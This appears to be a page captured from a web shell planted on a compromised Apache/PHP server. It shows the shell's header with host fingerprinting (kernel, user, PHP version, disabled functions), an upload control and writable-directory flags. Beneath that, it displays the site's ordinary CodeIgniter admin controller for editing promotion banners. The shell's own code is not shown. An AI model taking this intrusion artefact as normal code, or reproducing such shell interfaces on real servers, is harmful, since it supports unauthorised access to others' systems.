https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/controllers/admin/Promotion.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Promotion extends Admin_Controller {

	function __construct() {

		parent::__construct();	
		$this->load->model('promotion_m');	   
	}

	function index() {
		redirect('admin/promotion/edit');  
	}

	//to EDIT workshop in admin
	public function edit($id = 1) {
		
		$this->data['promotion'] = $this->promotion_m->get($id);	

		$config = array();

            //if($this->form_validation->run() == TRUE) {
            if($this->input->post('submit1')) {

                  //image upload
                  $config['upload_path']          = './uploads/promotion/';
                  $config['allowed_types']        = 'jpg|png';
                  $config['max_size']             = 300;
                  $config['max_width']            = 1170;
                  $config['max_height']           = 162;

                  $this->load->library('upload', $config);

                  if ($_FILES["banner1"]["tmp_name"] != '') {
                        if ( ! $this->upload->do_upload('banner1'))
                        {
                              $error = array('error' => $this->upload->display_errors());
                              $this->session->set_flashdata('error', '<br><p style="background:red; color:white; padding:5px; font-weight:bold;">'.$error["error"].'</p>');
                        }
                        else
                        {
                              $upload_data = $this->upload->data();
                              $file_name = $upload_data['file_name'];
                        }
                  }

                  $data = array(
                        'link1' => $this->input->post('link1'),
                  );

                  if (isset($file_name)) {
                        $data['banner1'] = $file_name; 
                  } 


			$this->promotion_m->edit_promotion($id, $data); 
			
			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Promotion Edit Successful. Click "Dashboard" to go back</p>');

			redirect('admin/promotion/edit'); 
			
		} 
            if($this->input->post('submit2')) {

                  //image upload
                  $config['upload_path']          = './uploads/promotion/';
                  $config['allowed_types']        = 'jpg|png';
                  $config['max_size']             = 300;
                  $config['max_width']            = 570;
                  $config['max_height']           = 526;

                  $this->load->library('upload', $config);

                  if ($_FILES["banner2"]["tmp_name"] != '') {
                        if ( ! $this->upload->do_upload('banner2'))
                        {
                              $error = array('error' => $this->upload->display_errors());
                              $this->session->set_flashdata('error', '<br><p style="background:red; color:white; padding:5px; font-weight:bold;">'.$error["error"].'</p>');
                        }
                        else
                        {
                              $upload_data = $this->upload->data();
                              $file_name2 = $upload_data['file_name'];
                        }
                  }

                  $data = array(
                        'title' => $this->input->post('title'),
                        'discount' => $this->input->post('discount'),
                        'description' => $this->input->post('description'),
                        'link2' => $this->input->post('link2'),
                  );

                  if (isset($file_name2)) {
                        $data['banner2'] = $file_name2; 
                  } 


			$this->promotion_m->edit_promotion($id, $data); 
			
			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Promotion Edit Successful. Click "Dashboard" to go back</p>');

			redirect('admin/promotion/edit'); 
			
		} 
      
            $this->data['all_data'] = $this->db->get('promotion')->result(); 
            // print_r($this->data['all_data']);
      		
		$this->data['error'] = '';
		$this->data['subview'] = 'admin/promotion/edit';
		$this->load->view('admin/templates/header', $this->data);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data);	
	}

}

https://t.me/RX1948 - 2025